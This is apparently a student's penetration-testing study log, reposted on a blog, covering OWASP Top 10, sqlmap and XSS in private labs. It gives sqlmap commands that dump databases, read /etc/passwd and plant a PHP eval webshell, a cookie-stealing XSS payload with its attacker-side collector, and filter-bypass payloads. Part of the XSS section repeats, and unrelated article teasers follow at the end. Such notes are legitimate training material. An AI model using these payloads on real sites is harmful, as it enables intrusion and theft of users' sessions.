3.3网安学习第三阶段第三周回顾(个人学习记录使用)

本周重点

①渗透测试介绍

②sqlmap注入扫描工具

③XSS脚本注入

本周主要内容

①渗透测试介绍

一、渗透测试

通过模拟黑客对系统进行攻击的手段或技术,在被测系统中发现漏洞的行为。除了提供漏洞之外,还需提供安全意见。

与黑站不同,渗透测试一般情况下,需要授权。

二、测试类型

1、黑盒测试:不能看到源码,只能通过系统页面进行的测试。

2、白盒测试:通过对源码的代码审计进行的测试。也叫玻璃盒测试。

3、灰盒测试:使用方法可以是黑盒,也可以是白盒。二者结合方式。(通过协议方式,可以理解为灰盒)

三、漏洞的生命周期

POC:Proof ofConcept

Exploit,中文意思是“漏洞利用”

CVE 的英文全称是“Common Vulnerabilities & Exposures”,就是通用漏洞披露,是全球统一的对信息安全漏洞或者已经暴露出来的弱点的公共名称

态势感知:实时监控流量业务,发现入侵行为。image-20231106153602815

1.0day - 1day

2.发掘->利用->传播->补丁->消亡

0day漏洞:又称零日漏洞,是指已经被攻击者发现并开始利用,但还没有被包括受影响软件厂商在内的公众所知的漏洞。

这类漏洞对攻击者来说有完全的信息优势,由于没有漏洞的对应的补丁或临时解决方案,防守方不知道如何防御,攻击者可以达成最大可能的威胁。0day漏洞通常被黑客以高价在黑市上出售,而攻击者则可以静悄悄地利用这些漏洞,直到相关合法机构意识到问题并发布相应的修补程序。由于0day漏洞从被发现到被利用的时间非常短,对于防守方来说,缺乏漏洞细节和具体信息,单纯依靠防火墙或杀毒软件等传统的防御手段难以实施有效检测。因此,阻止0day漏洞利用攻击,最重要的是升级网络防护体系,通过内存保护技术实现实时监控和主动防御。

四、渗透测试流程

image-20231106171154855

五、owasp top 10

**OWASP的全称是Open Web Application Security Project。**这是一个全球性的、非营利的开放式Web应用程序安全项目组织,旨在通过提高设计和开发过程中的安全性来防止Web应用受到黑客攻击。OWASP成立于2004年4月21日,总部位于美国,是一个国际组织,其基金会负责支持世界各地的活动。

(1)失效的访问控制:(cookies就可以被黑客利用,获取高级别的权限)

​ 通俗的说,就是越权。在未通过身份认证的情况下,对系统进行访问。获取与之身份不匹配的访问权限。

​ ①访问其他用户,获取敏感信息;

​ ②修改其他用户数据;

​ ③修改访问权限;

(2)加密机制失效:

​ 以前也叫敏感数据泄露。

​ ①数据采用明文传输。

​ ②用老旧的或者弱加密算法

​ ③未强制执行加密

​ ④不验证服务器证书

(3)注入:

​ 分为sql注入和xss注入:利用web页面上输入域语法校验漏洞,向系统中注入命令或者代码。

​ ①sql注入:将用户的输入内容通过字符串拼接的方式将系统中的sql命令变成另一个sql命令,从而获取数据(拖库)或者获取文件(get shell)。

​ ②xss注入:对用户输入的信息未过滤,将用户输入的代码注入到其他用户的浏览器上。窃取用户信息,伪装身份攻击。

​ ③代码注入:敏感函数中可以执行代码

​ ④命令注入:敏感函数中可以执行操作系统命令。

(4)不安全的设计

​ 2021版新增漏洞,就是指系统在设计上存在的问题。

​ ①弱验证:没有关闭万能验证码

​ ②使用了简单加密

​ ③隐藏的令牌信息

​ ④静态资源注入:上传

(5)安全配置错误

​ 服务器在系统设置中没有安全相关的软件配置或者安全设备设置。

​ ①对应用程序堆栈没有任何安全强化。 补充知识:https://zhuanlan.zhihu.com/p/588249684?utm_id=0

​ ②对云服务权限配置不正确。

​ ③启用了不必要的功能。

​ ④默认账户和密码处于启用状态或者未修改。

​ ⑤错误信息向用户显示。 die(“操作失败!”,mysqli_error($con))

​ ⑥对升级系统,最新安装安全功能被禁用。

​ ⑦服务器中安全设置没有达到安全值

​ ⑧软件过时。

(6)自带缺陷和过时组件;

​ 系统中带有过时组件(已经发现漏洞的组件)

​ ①不知道所使用组件的版本

​ ②不定期扫描组件,不关注官方公告

​ ③没有对组件基于风险而升级

​ ④不测试,不保护组件

(7)身份识别和身份验证错误

​ 攻击者利用用户身份登录系统。

​ ①允许重复多次登录尝试。 验证码 、 限制操作次数

​ ②允许用户使用弱密码。 123456

​ ③密码找回弱验证。

​ ④缺少或者无效的身份验证

​ ⑤在url中公开会话ID

​ ⑥身份失效时间问题。

(8)软件和数据的完整性保障

​ 这也是一个新增的类型,指的是在不验证完整性的情况下做出与软件更新、关键数据和CI/CD管道相关的假设。

​ ①固件更新没有签名

​ ②恶意更新

​ ③不安全的序列化

(9)安全日志和监控故障

​ 指的是在没有日志记录和监控,将无法检测到漏洞,此类故障会直接影响可见性、事件报警和取证。

​ ①不记录可审计的事件

​ ②警告和错误不生成报告,或者报告内容不清楚

​ ③不监控应用程序的可疑操作。

​ ④日志仅存储在本地

​ ⑤适当的报警阈值响应升级流程没有到位

​ ⑥渗透测试和扫描不报警

(10)服务器请求伪造 ssrf

​ 这一漏洞是在行业调查中添加的,数据显示发生概率较低。

​ ①通过url访问资源,获取敏感文件

​ ②通过url进行内网扫描(ip,端口)

②sqlmap注入扫描工具

一、工具安装

1、环境:

python2.7.5
建议安装在linux下:
python -V

image-20231110163113380

2、安装:

(1)将sqlmap.zip 上传放在/opt目录下:

(2)解压:

yum install unzip
unzip sqlmap.zip

(3)授权:

chmod u+x sqlmap.py

二、使用:

1、扫描:

(1) get请求:注意url中最好带上参数,比如id=1

./sqlmap.py -u "url" 

(2)拖库:

./sqlmap.py -u "url" --current-db     //获取数据库名
./sqlmap.py -u "url" -D 数据库名 --tables //获取表名
./sqlmap.py -u "url" -D 数据库名 -T 表名 --columns //获取所有字段名
./sqlmap.py -u "url" -D 数据库名 -T 表名 -C 字段1,字段2 --dump //获取字段中的值

(3)post请求:

  • 需要准备post请求文件:

通过burp拦截请求,copy to file.把请求文件保存下来,或者直接选中请求部分,复制也可以

image-20231110170904583

  • 拖库

需要注意:使用头注入参数X-Forwarded-For,这个参数需要放在请求头中,X-Forwarded-For: * ,否则无法注入成功

./sqlmap.py -r "文件名" -p 参数名     //指定参数的post请求扫描

//实际使用案例,获取数据库名称,
./sqlmap.py -r ./postdata.txt -p "X-Forwarded-For" --current-db
//根据数据库名称获取表
./sqlmap.py -r ./postdata.txt -p "X-Forwarded-For" -D posts --tables

image-20240219093746071

image-20240219093819335

以下是postdata.txt 文件内容,注意最后有两个空行

GET /info.php?username=a HTTP/1.1
Host: 192.168.23.128
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
X-Forwarded-For: *
Connection: close

2、状态保持: --cookie

如果请求发送需要前置条件(登录)。可以通过手动登录后,获取已登录的sessionid.在sqlmap中,通过设置cookie方式,绕过登录:

get: 
./sqlmap.py -u "url" --cookie=xxxx
post:
./sqlmap.py -r "文件" -p 参数 --cookie=xxx

//实际使用案例
./sqlmap.py -r ./postdata.txt -p "X-Forwarded-For" --cookie=PHPSESSID=k7ht96qm6n6hr34ghlpn4l3666 --current-db

3、getshell:

(1)自动写入木马:–os-shell

建议不使用post请求:

./sqlmap.py -u "http://192.168.32.129/sqlmaster/Less-1/?id=1" --os-shell

(2)读文件: --read-file

./sqlmap.py -u "http://192.168.32.129/sqlmaster/Less-1/?id=1" --file-read "/etc/passwd"

(3)写文件:–file-write 源文件 --file-dest 目标文件

//制作一个一句话木马
echo <?php eval($_POST['a']);?> > /tmp/secure21
//写入木马
./sqlmap.py -u "http://192.168.23.128/info.php?username=1" --file-write "/tmp/secure21" --file-dest "/opt/lampp/htdocs/muma21.php"

③XSS脚本注入

一、XSS概念

cross site scripting: 跨站攻击脚本,主要攻击发生在浏览器这一段,不会对服务器产生影响。

二、危害

1、挖矿

2、植入广告

3、盗取用户cookie:进一步可以窃取用户的资料

4、利用用户的机器,植入木马,进行DDOS攻击

三、Xss攻击的前提

1、页面需要有用户可输入的点

2、用户输入的内容需要回显在页面的某个部分

3、如果构造了一个连接,需要诱导目标用户去点击

四、Xss类型

1、反射型

(1)不修改DOM标签的

弹出一个alert

步骤:

先在靶机上修改list.php的代码,增加输入框和查询按钮

<?php

$sk = @$_GET['sk'];

session_start();

include 'dbinfo.php';

mysqli_set_charset($conn,"utf8");

//查询数据库
$sql = "select * from tb_articles where title like '%$sk%'";
$result = mysqli_query($conn,$sql);

echo "上一次查询关键字:".$sk;
?>
<div align="center">当前登录用户:
    <?php 
      $s = @$_SESSION["loginuser"]; 
      if($s=="ok"){
        echo $_SESSION["username"]; 
      }else{
        echo "游客";
      }
    
    ?>
<div>

  <form>
      <input type="text" name="sk">
      <input type="submit" name="submit" value="search">
  </form>
        
<table border="1" align=center>
    <tr><td>Id</td><td>标题</td><td>创建时间</td><td>作者</td><td>操作</td></tr>
    <?php  
      while($rows = mysqli_fetch_assoc($result)){
     ?>
         <tr>
            <td><?=$rows['id']?></td>
            <td> <a href="details.php?id=<?=$rows['id']?>"><?=$rows['title']?>  </a></td>
            <td><?=$rows['createtime']?></td>
            <td><?=$rows['author']?></td>
            <td> <a href="delete.php?id=<?=$rows['id']?>">删除</a>
                 <a href="editarticle.php?id=<?=$rows['id']?>">修改</a>
            </td>
        </tr>
    <?php 
      }
    ?>
</table>

<?php
//关闭数据库连接
mysqli_close($conn);

?>

访问靶机的list.php,在查询框里输入:

<script>alert(1)</script>

点击search按钮,看到会弹出一个警告框,把上面的url复制下来

image-20240312174525348

在黑客机器上,创建一个html页面,girl01.html,自己准备一张美女图片,放在girl01.html相同目录中。

注意,这个html中href的跳转连接地址,就从上面图片的中浏览器的url地址栏复制过来。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>美女图片</title>
</head>
<body>
    
    <a href="http://192.168.75.128/hz02/posts/list.php?sk=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&submit=search">
        <img src="0.jpg" width="400px" height="300px">约吗!</a>
</body>
</html>

访问黑客机器上的girl01.html,看到如下页面

image-20240312174826277

鼠标点击“约吗”,网页会跳转到刚刚目标靶机的list.php页面,并且会弹出一个警告框

image-20240312174948383

盗取用户Cookie:

用户已经登录了目标系统,并且在没有关闭浏览器的情况下,用相同的浏览器打开了包含攻击脚本链接

先在黑客的服务器准备一个数据库表,保存受害者的cookie信息

CREATE TABLE `tb_cookie` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `cookie` varchar(1000) DEFAULT NULL,
  `createtime` datetime DEFAULT NULL ON UPDATE CURRENT_TIMESTAMP,
  `remoteip` varchar(255) DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

准备一个程序,收集受害者的cookie

<?php
//这段程序写在黑客的机器上,用来接收受害用户浏览器的cookie
$ucookie = @$_GET['ucookie'];
$refer = @$_SERVER['HTTP_REFERER'];

$dbhost = "127.0.0.1";
$dbuser = "root";
$dbpass = "";
$dbname = "posts";
$dbport = 3306;

//连接数据库
$conn = mysqli_connect($dbhost,$dbuser,$dbpass,$dbname,$dbport);
//设置数据库连接的编码格式UTF8
mysqli_set_charset($conn,"utf8");

$sql = "insert into tb_cookie(cookie,createtime,remoteip) values('$ucookie',now(),'$refer')";

mysqli_query($conn,$sql);

mysqli_close($conn);

?>

构造一个url链接,可以是一个美女图片,也可以是文字。关键是用户对这个有兴趣,会点击这个连接;

<a href="http://192.168.6.128/hz02/posts/list.php?sk=<script>new Image().src='http://192.168.6.129/xss02/getcookies.php?ucookie='%2bdocument.cookie</script>&search=search">你的申请被拒绝</a>

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

另外还可以把getcookies.js放在黑客服务器上

//这个js文件放在黑客服务器上
new Image().src='http://192.168.6.129/xss02/getcookies.php?ucookie='+document.cookie;

那么html的url连接就是

<a href="http://192.168.6.128/hz02/posts/list.php?sk=<script src='http://192.168.6.129/xss02/getcookies.js'></script>&search=search">点一下?</a>   

(2)修改DOM标签的

php的代码:

<?php
$sk = @$_GET['sk'];
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    
aaaa

<!-- <input type="text" id="username" name="username" value=""><script>alert(1)</script><span alt=""> -->
<form>
  显示:<input type="text" id="username" name="username" value="<?=$sk?>">

  <br>

  输入:<input type="text" name="sk" id="sk"  >

  <br>

  <input type="submit" value="search">

</form>

</body>
</html>

在页面的输入框中直接输入

"><script>alert(1)</script><span alt="

点击search按钮,页面弹出警告框

image-20240313121915822

2、存储型

登录靶场,到发帖子页面,内容输入,点击添加按钮保存

<script>alert(1)</script>

image-20240313141509686

保存成功,返回list.php页面,

image-20240313141624369

点击“admin测试xxx”,跳转到详情页面,弹出了警告框

image-20240313141733933

再发一个帖子,包含盗取cookie的xss攻击脚本

帖子的内容是:

<script  src="http://192.168.12.129/xss02/getcookies.js"></script>
你能把我怎么样啊?我现在偷了你的cookie,哈哈哈哈

发帖成功后,保存到靶机数据库的帖子内容

image-20240313142804828

任何用户来访问帖子

image-20240313142833230

只要点击了这个有xss攻击脚本的帖子,就会被盗取cookie

image-20240313142930202

可以看到,cookie被发送给黑客,并保存到黑客数据库

image-20240313143006867

五、XSS闯关靶场

在靶机上,安装xss闯关靶场

1、创建一个目录

mkdir -p /opt/lampp/htdocs/xsscg

2、把靶场中的文件直接上传到目录/opt/lampp/htdocs/xsscg

3、如果没有zip 和 unzip就安装一下

yum -y install zip unzip

4、解压缩靶场文件

cd /opt/lampp/htdocs/xsscg
unzip xsscg.zip

5、访问一下靶场(IP地址改成自己的)

http://192.168.75.129/xsscg/xss/

image-20240312175945618

六、安装DVWA靶场

1、把DVWA-master.zip 上传到/opt/lampp/htdocs

2、解压缩:

unzip DVWA-master.zip

3、修改目录名称

mv DVWA-master dvwa

4、修改配置文件

cd dvwa/config
cp config.inc.php.dist config.inc.php

5、访问dvwa,页面上显示为红色No的项目要修改一下,变成绿色即可。

http://192.168.12.128/dvwa/

image-20240313144317593

根据要求,修改配置

chmod 777 /opt/lampp/htdocs/dvwa/hackable/uploads/

改好之后,刷新网页,可以看到已经是Yes

image-20240313144638489

继续修改:

chmod 777  /opt/lampp/htdocs/dvwa/external/phpids/0.6/lib/IDS/tmp/phpids_log.txt

修改完再次刷新页面

image-20240313144804423

继续修改

chmod 777 /opt/lampp/htdocs/dvwa/config

image-20240313144909866

如果这两个参数的值都是On就不需要下面的操作,否则

allow_url_fopen = On
allow_url_include = On

image-20240313145108322

如果allow_url_fopen和allow_url_include任何一个不是On,就修改php.ini

 vi /opt/lampp/etc/php.ini

把最前面的分号去掉,并把值修改为On

image-20240313145345628

保存修改后,重启apache

/opt/lampp/xampp restart

看到两个参数的值都是On,就可以了

image-20240313145527752

修改数据库配置

vi /opt/lampp/htdocs/dvwa/config/config.inc.php

根据自己的实际情况修改数据库的用户名和密码,改好保存一下

image-20240313145915894

刷新一下页面,看到数据的用户名和密码已经修改

image-20240313150025753

点击页面底部的create/reset database

image-20240313150236377

创建成功,应该看到

image-20240313150329096

七、BlusLotus工具

1、下载地址,需要注册github账号(前提:需要能上国外的网站)

https://github.com/firesunCN/BlueLotus_XSSReceiver?tab=readme-ov-file

2、把压缩文件上传到攻击机器的/opt/lampp/htdocs目录

image-20240223120815517

3、解压缩

cd /opt/lampp/htdocs
unzip BlueLotus_XSSReceiver-master.zip

4、修改文件夹名称

mv BlueLotus_XSSReceiver-master bluelotus

5、修改目录的权限

chmod -R 777 bluelotus

6、访问主页(ip自己修改)

http://192.168.12.129/bluelotus

image-20240313153927107

点击“安装”按钮。

image-20240313154201621

点击“提交”按钮

image-20240313154311039

点击“登录”按钮

image-20240313154342298密码是bluelotus

登录成功,看到如下页面

image-20240313154414674

添加一个模板

image-20240313154722011

选择default.js,点击插入模板

image-20240313154753036

添加一个js文件

image-20240313155112119

添加的js会出现在左侧

image-20240313155154458

点击生成Payload按钮,左侧会生成一段javascript的xss攻击脚本

image-20240313155335968

把左边的脚本内容复制,发到帖子内容里

image-20240313155523584发帖成功,查看一下

image-20240313155549908

当受害者点击这个帖子的标题,查看内容的时候

image-20240313155728832

用鼠标点击右下角的提示,看到有一条记录产生了

image-20240313155810639

查看这条记录,能看到cookie已经被发过来了

image-20240313160415814

八、安装pikachu靶场

1、上传靶场压缩文件到/opt/lampp/htdocs

image-20240314092729802

2、解压缩

unzip pikachu-master.zip

3、改目录名称

mv pikachu-master pikachu

4、修改数据库配置文件

cd pikachu
cd inc
vi config.inc.php

把数据库的用户名,密码根据自己的实际情况修改

image-20240314093141618

修改后,保存

5、重新启动xampp环境

/opt/lampp/xampp restart

6、访问http://192.168.196.128/pikachu/

image-20240314093601965

点击红色字体,进行数据库的初始化

image-20240314093642972

点击“安装/初始化”按钮

看到这个页面说明初始化成功

image-20240314093719339

九、Xss防御

1、使用htmlspecialchars转义函数,把html中字符转码

可以把

单引号,双引号,左尖括号,右尖括号,& 转义成实体字符

为什么要转码?

如果不转码,象< > 在实际的内容中,会在浏览器解析的时候,影响正常的解析,会让浏览器认为是html的标签,

以下网页,在内容中有aaaa<ht,会影响后面的内容展示,所以需要把<转义成 &lt;

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
   
aaaa<ht

<!-- <input type="text" id="username" name="username" value=""><script>alert(1)</script><span alt=""> -->
<form>
  输入:<input type="text" name="sk" id="sk"  >
  <br>
  <input type="submit" value="sea<rch">
  <br>
<div> aaas   </html>  </div>

</form>
</body>
</html>

2、可以使用str_ireplace把一些关键性的字符串替换掉

$sk=str_ireplace('script',"",$sk);
$sk=str_ireplace('href',"",$sk);
$sk=str_ireplace('click',"",$sk);
...........

十、Xss绕过

1、双写绕过

原因:在替换关键字的时候,把关键字替换成了"",

$sk=str_ireplace('script',"",$sk);

可以通过双写script绕过替换

<scriscriptpt>alert(1)</sscriptcript>

2、大小写绕过

原因:在替换的时候没有考虑到大小写敏感的问题

$sk=str_replace('script',"",$sk);

可以通过把单词中的任意字符换成大写绕过

<sCript>alert(1)</sCript>

3、空格绕过

有写程序员会把空格替换掉,破坏html标签的解析规则

$sk=str_replace(" ","",$sk);
此时
<a href="xxxx">点击连接</a> 会被替换成<ahref="xxxx">点击连接</a>,语法会出错

那么可以通过下面的方法绕过

<a/**/href='javascript:alert(1);'>xss漏洞</a>

4、base64编码绕过

有些情况下,没有转义特殊字符,只做了一些关键字的替换,例如把script替换成“ ”,或者scri_pt,那可以考虑使用base64编码方式来绕过,有的浏览器,比如Chrome的高版本,会阻止a标签中的base64编码的执行,可以换其他浏览器试试。

//在帖子内容当中放入如下内容,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==其实就是<script>alert(1)</script>的base64编码形式
payload:
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">aaaaaa</a>

5、url两次编码

程序

员手工进行一次urldecode操作,程序中没有对< > 等字符特殊过滤,可以进行两次url编码绕过

原始的输入:
"><a href="javascript:alert(1)">aaaa</a> <span b="

payload:
经过第一次url编码:
%22%3e%3c%61%20%68%72%65%66%3d%22%6a%61%76%61%73%63%72%69%70%74%3a%61%6c%65%72%74%28%31%29%22%3e%61%61%61%61%3c%2f%61%3e%20%3c%73%70%61%6e%20%62%3d%22
把上面这些经过编码的内容再一次进行url编码
%25%32%32%25%33%65%25%33%63%25%36%31%25%32%30%25%36%38%25%37%32%25%36%35%25%36%36%25%33%64%25%32%32%25%36%61%25%36%31%25%37%36%25%36%31%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%61%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34%25%32%38%25%33%31%25%32%39%25%32%32%25%33%65%25%36%31%25%36%31%25%36%31%25%36%31%25%33%63%25%32%66%25%36%31%25%33%65%25%32%30%25%33%63%25%37%33%25%37%30%25%36%31%25%36%65%25%32%30%25%36%32%25%33%64%25%32%32

注意:经过两次编码的内容不能直接在浏览器上跟在sk的参数后面,也不能在form表单中提交,因为浏览器会自动的把%再次编码,导致错误。

可以使用burp拦截,直接把请求参数改成以上经过两次url编码的内容。

代码:

<?php 


$sk = @$_GET['sk'];
echo $sk;
//此时打印
echo "<br>";

$sk = str_ireplace("script","scr_ipt",$sk);
echo $sk;
echo "<br>";
$sk = urldecode($sk);//程序员很小心,手工进行urldecode
echo $sk;
//此时打印
echo "<br>";

?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    
<form>
    显示:<input type="text" value="<?=$sk?>" maxlength="1000">
    <br>
    输入:<input type="text" name="sk" id="sk">

    <br>
    <input type="submit" value="search">
</form>
</body>
</html>

6、html实体编码绕过

当程序去替换一些关键字例如:onclick,javascript,onblur,可以进行HTML转码绕过

html转码工具:

https://www.toolzl.com/tools/htmlende.html

原始的输入:
javascript:alert(1) 这个会被改为javascr_ipt:alert(1)无法执行
经过html转码后
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;
输入即可绕过

代码:

<?php 

$sk = @$_GET['sk'];
$sk = str_ireplace("script","scr_ipt",$sk);

?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    
<form>
    <!-- dddd -->
    <a id="a" href="<?=$sk?>">友情链接</a>
    <!-- 显示:<input type="text" value="<?=$sk?>" maxlength="1000"> -->
    <br>
    输入:<input type="text" name="sk" id="sk">

    <br>
    <input type="submit" value="search">
</form>
</body>
</html>

十一、XSStrike工具

下载地址:https://gitee.com/mirrors/XSStrike

需要先安装python3才可以运行

下载后,直接解压缩即可使用。

使用工具扫描XSS

" id=“sk”>

<br>
<input type="submit" value="search">
```

6、html实体编码绕过

当程序去替换一些关键字例如:onclick,javascript,onblur,可以进行HTML转码绕过

html转码工具:

https://www.toolzl.com/tools/htmlende.html

原始的输入:
javascript:alert(1) 这个会被改为javascr_ipt:alert(1)无法执行
经过html转码后
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;
输入即可绕过

代码:

<?php 

$sk = @$_GET['sk'];
$sk = str_ireplace("script","scr_ipt",$sk);

?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    
<form>
    <!-- dddd -->
    <a id="a" href="<?=$sk?>">友情链接</a>
    <!-- 显示:<input type="text" value="<?=$sk?>" maxlength="1000"> -->
    <br>
    输入:<input type="text" name="sk" id="sk">

    <br>
    <input type="submit" value="search">
</form>
</body>
</html>

十一、XSStrike工具

下载地址:https://gitee.com/mirrors/XSStrike

需要先安装python3才可以运行

下载后,直接解压缩即可使用。

使用工具扫描XSS

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/476545.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Vue响应式原理全解析

前言 大家好&#xff0c;我是程序员蒿里行。浅浅记录一下面试中的高频问题&#xff0c;请你谈一下Vue响应式原理。 必备前置知识&#xff0c;​​Vue2​​官方文档中​​深入响应式原理​​​及​​Vue3​​官方文档中​​深入响应式系统​​。 什么是响应式 响应式本质是当…

RabbitMQ集群部署

集群部署 我们看看如何安装RabbitMQ的集群。 1.集群分类 在RabbitMQ的官方文档中&#xff0c;讲述了两种集群的配置方式&#xff1a; 普通模式&#xff1a;普通模式集群不进行数据同步&#xff0c;每个MQ都有自己的队列、数据信息&#xff08;其它元数据信息如交换机等会同…

基于Android的Appium+Python自动化脚本编写

1.Appium Appium是一个开源测试自动化框架&#xff0c;可用于原生&#xff0c;混合和移动Web应用程序测试&#xff0c; 它使用WebDriver协议驱动iOS&#xff0c;Android和Windows应用程序。 通过Appium&#xff0c;我们可以模拟点击和屏幕的滑动&#xff0c;可以获取元素的id…

动态规划(算法竞赛、蓝桥杯)--单调队列优化DP琪露诺

1、B站视频链接&#xff1a;E46 单调队列优化DP 琪露诺_哔哩哔哩_bilibili 题目链接&#xff1a;琪露诺 - 洛谷

自定义类型--结构体、联合体、枚举类型

**Ladies and gentlemen**&#xff0c;今天&#xff0c;我们将来进行对自定义类型的学习&#xff01; 目录 1.结构的特殊声明2. 结构体内存对齐2.1 对齐规则2.1.12.1.22.1.32.1.4 2.2 为什么存在内存对齐?1. 平台原因 (移植原因)&#xff1a;2. 性能原因&#xff1a; 2.3 修改…

这个简单的生活方式,为你带来满满的幸福感

在今天文章的开头&#xff0c;我想请你思考一个问题&#xff1a;影响幸福感的最大因素是什么&#xff1f; 不妨先想一想&#xff0c;再往下拉&#xff0c;继续阅读。 可能不少朋友的回答&#xff0c;会是财富、事业、理想、生活环境、社会地位…… 这些因素当然对幸福感都非常重…

Python正则表达式之模式修正符,你get了吗?

​大家好&#xff0c;今天我要和大家分享一个Python编程中的神秘武器——正则表达式模式修正符&#xff01;正则表达式&#xff0c;对于很多编程新手来说&#xff0c;可能是一个头疼的问题。但别担心&#xff0c;模式修正符就像是你手中的魔法棒&#xff0c;让你的正则表达式更…

3.21系统栈、数据结构栈、栈的基本操作、队列、队列的基本操作------------》

栈 先进后出、后进先出 一、系统栈 大小&#xff1a;8MB 1、局部变量 2、未经初始化为随机值 3、代码执行到变量定义时为变量开辟空间 4、当变量的作用域结束时回收空间 5、函数的形参和返回值 6、函数的调用关系、保护现场和恢复现场 7、栈的增长方向&#xff0c;自高…

C语言例:设 int x; 则表达式 (x=4*5,x*5),x+25 的值

代码如下&#xff1a; #include<stdio.h> int main(void) {int x,m;m ((x4*5,x*5),x25);printf("(x4*5,x*5),x25 %d\n",m);//x4*520//x*5100//x2545return 0; } 结果如下&#xff1a;

必学干货!使用Python正则表达式匹配多个字符

1.匹配多个字符 今天我们来聊一聊正则表达式中一个很强大的功能&#xff1a;匹配多个字符&#xff01;正则表达式是一个非常强大的工具&#xff0c;可以帮助我们轻松地处理和匹配字符串。通过使用不同的符号和技巧&#xff0c;我们可以匹配多个字符&#xff0c;从而更加灵活地…

【智能算法】海洋捕食者算法(MPA)原理及实现

目录 1.背景2.算法原理2.1算法思想2.2算法过程 3.结果展示4.参考文献 1.背景 2020年&#xff0c;Afshin Faramarzi 等人受到海洋生物适者生存启发&#xff0c;提出了海洋捕食者算法(Marine Predators Algorithm&#xff0c;MPA)。 2.算法原理 2.1算法思想 MPA根据模拟自然界…

WSL2的安装步骤

WSL2&#xff08;Windows Subsystem for Linux 2&#xff09;是微软公司开发的一项创新性技术&#xff0c;它在Windows操作系统上提供了一个完整的Linux内核&#xff0c;并允许用户在Windows环境中运行Linux发行版。之前想在Windows上使用Linux系统必须先安装VirtualBox或VMWar…

做跨境用哪种代理IP比较好?怎么选到干净的IP?

代理IP对于做跨境的小伙伴来说&#xff0c;都是必不可少的工具&#xff0c;目前出海的玩法已经是多种多样&#xff0c;开店、账号注册、短视频运营、直播带货、网站SEO等等都是跨境人需要涉及到的业务。而国外代理IP的获取渠道非常多&#xff0c;那么做跨境到底应该用哪种代理I…

一、rv1126开发之视频输入和视频编码

RV1126 H264/HEVC编码流程 一、RV1126编码的流程图&#xff1a; 二、每个代码模块详细讲解 2.1. VI模块的创建 VI模块的初始化&#xff1a;关键在于VI_CHN_ATTR_S结构体&#xff0c;这个结构体是VI设置的结构体。这个结构体的成员变量包括&#xff1a;pcVideoNode&#xff0…

【系统架构设计师】计算机系统基础知识 03

系统架构设计师 - 系列文章目录 01 系统工程与信息系统基础 02 软件架构设计 03 计算机系统基础知识 文章目录 系统架构设计师 - 系列文章目录 文章目录 前言 一、计算机系统概述 1.计算机组成 ​编辑2.存储系统 二、操作系统 ★★★★ 1.进程管理 2.存储管理 1.页式存储 …

python --- 练习题3

目录 1、猜数字游戏&#xff08;使用random模块完成&#xff09; &#xff1a;继上期题目&#xff0c;附加 2、用户登录注册案例 3、求50~150之间的质数是那些&#xff1f; 4、打印输出标准水仙花数&#xff0c;输出这些水仙花数 5、验证:任意一个大于9的整数减去它的各位…

[环境配置].ssh文件夹权限修改方法

问题描述&#xff1a; 通过VSCode中的Remote Explorer或者通过CMD等命令行窗口连接远程机器时&#xff0c;会因为提示 "Bad owner or permissions on C:\\Users\\xxx/.ssh/config"而导致失败&#xff0c;最终呈现在VSCode中的效果是&#xff0c;弹窗提示"Could…

群晖Cloud Sync数据同步到百度云、另一台群晖、nextcloud教程

群晖Cloud Sync数据同步到百度云、另一台群晖、nextcloud教程 为了更好的浏览体验&#xff0c;欢迎光顾勤奋的凯尔森同学个人博客http://www.huerpu.cc:7000 一、群晖套件中下载Cloud Sync 二、同步到百度云盘 打开Cloud Sync&#xff0c;点击左上角的号&#xff0c;云供应商…

归并算法详细解析

归并排序 1945年&#xff0c;约翰冯诺依曼&#xff08;John von Neumann&#xff09;发明了归并排序&#xff0c;这是典型的分治算法的应用。归并排序&#xff08;Merge sort&#xff09;是建立在归并操作上的一种有效的排序算法&#xff0c;该算法是采用分治法&#xff08;Di…

[Semi-笔记] 2023_TIP

目录 概要一&#xff1a;Conservative-Progressive Collaborative Learning&#xff08;保守渐进式协作学习&#xff09;挑战&#xff1a;解决&#xff1a; 二&#xff1a;Pseudo Label Determination for Disagreement&#xff08;伪标签分歧判定&#xff09;挑战&#xff1a;…